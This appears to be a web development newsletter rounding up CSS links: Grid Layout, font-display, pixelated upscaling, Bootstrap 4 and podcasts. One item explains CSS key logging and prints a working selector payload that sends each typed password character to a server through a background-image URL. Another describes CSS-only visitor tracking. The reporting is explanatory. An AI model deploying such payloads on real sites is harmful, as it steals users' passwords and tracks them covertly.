Changelog

CSS Blocks is an ambitious system inspired by the likes of CSS Modules, BEM, and Atomic CSS. Looking for an indicator of how much 💚 the team has put into this project? Peep that readme.

Rachel Andrew: An increasingly common question — now that people are using CSS Grid Layout in production — seems to be “What are the best practices?” The short answer to this question is to use the layout method as defined in the specification. The particular parts of the spec you choose to use, and indeed how you combine Grid with other layout methods such as Flexbox, is down to what works for the patterns you are trying to build and how you and your team want to work. Amazingly educational article. I've said it before, and I'll say it again: when you want to learn about CSS Grid, Rachel Andrew is the source.

Chris Coyier: Y'all know about font-display? It's pretty great. It's a CSS property that you can use within @font-face blocks to control how, visually, that font loads. … What do you get from it? The ability to control FOUT and FOIT as is right for your project, two things that both kinda suck in regards to font loading. Font loading strategy is pretty important. It's one of the reasons I searched far and wide to improve the performance of fonts on Brightly Colored. Fortunately, if you're using @font-face, using font-display is as easy as using one line of CSS, and you'll see the performance improvements immediately. Unfortunately, as Chris points out, there's no performant way to get around either FOUT or FOIT.

Chris Coyier: We're quite used to the idea that scaling an image larger than its natural size (upscaling) causes it to be blurry. As awful as that is, it's the browser doing the best it can to algorithmically smooth out an image over more pixels than it has data. But let's say you'd really rather not it do that. Say the image is already pixel-y (pixel art), or you prefer the look of a pixelated upscaling. You can do it! File this one in the “I had no idea this existed” category. Really simple CSS trick, but definitely a useful one.

What are Flame Graphs good for? According to Netflix, they're using them for: quick analysis of performance issues such as perturbations, variance, single-threaded execution, and more.

Jake Archibald goes much deeper on our previous report of CSS key logging. Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'. Jake shared many examples as well as ways to mitigate these types of attacks.

Turns out it definitely can be, as long as you are using a component-style JavaScript tool (such as React) that updates input values on every keypress. Here's how it works: Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. Add some CSS that looks like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } When the user types an a in to the password field, it will hit your server for logging. Dastardly!

allows you to change CSS variables depending on the scroll position. Use the variables directly in your CSS to animate whatever you want. I was expecting this to only work on the bleeding edge, but it turns out CSS variables have pretty wide browser support these days.

If you're looking for a simple way to get stared with learning CSS Grid Layout, check this out. Plus, the game is open source so if you hit a snag, file an issue. Great work Thomas Park!

This is a long, nuanced piece about progress in web-building technologies and practices. It's written from a designer's perspective, but many of the themes ring true to my developer's brain. I wonder if I have twenty years of experience making websites, or if it is really five years of experience, repeated four times. If you’ve been working in the technology industry a while, please tell me this sounds familiar to you. The primary example cited is how we answer the simple question, "How do I put two things next to each other?" The status quo has changed (tables -> floats -> Flexbox -> CSS grids), but to what advantage? A few of his points feel a bit like looking back at the "good 'ole days" through rose colored glasses, but his case is mostly well-reasoned and powerful. the foundations are now sufficiently complicated enough on their own that it seems foolish to go add more optional complexity on top of it. I’ve kept my examples to the most basic of web implementations, and I haven’t touched on Javascript, animation, libraries, frameworks, pre-processors, package managers, automation, testing, or deployment. Whew. Whew, indeed! The breadth and depth of knowledge required to feel competent in today's web ecosystem is probably why we spend so much time dealing with imposter syndrome in this industry.

This works just like the classic, only it's smaller, sets box-sizing: border-box, and includes normalizations for the latest Chrome, Firefox, and Safari.

Rico Sta. Cruz joined us to talk about his project Devhints — cheatsheets for developers! There are more than 365 cheatsheets you can contribute to and it's open source. We talked about the design, technical implementation, community, and alternate interfaces (CLI). We also covered RSJS, RSCSS, and Docpress. You have to sell what it is you're building in your documentation. It's not just describing what it is and how to use it. It's about telling interesting stories. — Rico Sta. Cruz

The best way to learn, is to learn by doing! Ire Aderinokun: While learning CSS Grid Layout, I’ve found that the best way to internalize all the new concepts and terminology is by working on various layouts using them. Recently, I decided to try to recreate the GitHub Contribution graph using CSS Grid Layout, and found it was an interesting challenge. View the working code on CodePen.

Layout Land is a new YouTube channel from Mozilla and Jen Simmons focused on helping you learn about the new layout possibilities in web design. If you're looking to use CSS Grid but you need to support IE users, then you should check out this video and the rest of the series when you're done. New videos every Tuesday and Thursday. People always ask, “How can I dare to use this new CSS, when I need to support IE users?” It is very important to make sure every user can do what they came to your website to do, whether or not their browser supports the hot, new CSS you want to use. CSS Grid shipped in March 2017, and is already supported by the vast majority of web browsers in use. But there is a significant portion of users who do not have support for CSS Grid — not just IE, but also UC, Samsung Internet, Opera mini, QQ, and more. So can we use CSS Grid? How do we support these old browsers and use CSS Grid?

a [μ] microInteraction library built with CSS Animations and controlled by JavaScript Power Shake, bounce, jerk, flicker, and pop your DOM with ease.

What a tremendous amount of work! It’s literally taken us years to do it, but Bootstrap 4 has finally arrived! So what's new? There are no breaking changes since our last beta, but we have made some key improvements and resolved some tricky bugs... Be sure to check out the docs, their new examples, and the migration docs.

No JavaScript? No problem? This is a proof of concept that does webpage tracking using only CSS. It works by adding ::after content that loads an external resource from a server-side endpoint that tracks the events. As far as we know, the only way to disable this style tracking is to disable CSS altogether.

Adam Morse joined the show to talk about Functional CSS and his project Tachyons - a CSS Toolkit that lets you quickly build and design new UI without writing CSS. We talk about Scalable CSS, the difference between "Atomic", "OOCSS", "BEM" and others, semantic class names, and where we go from here.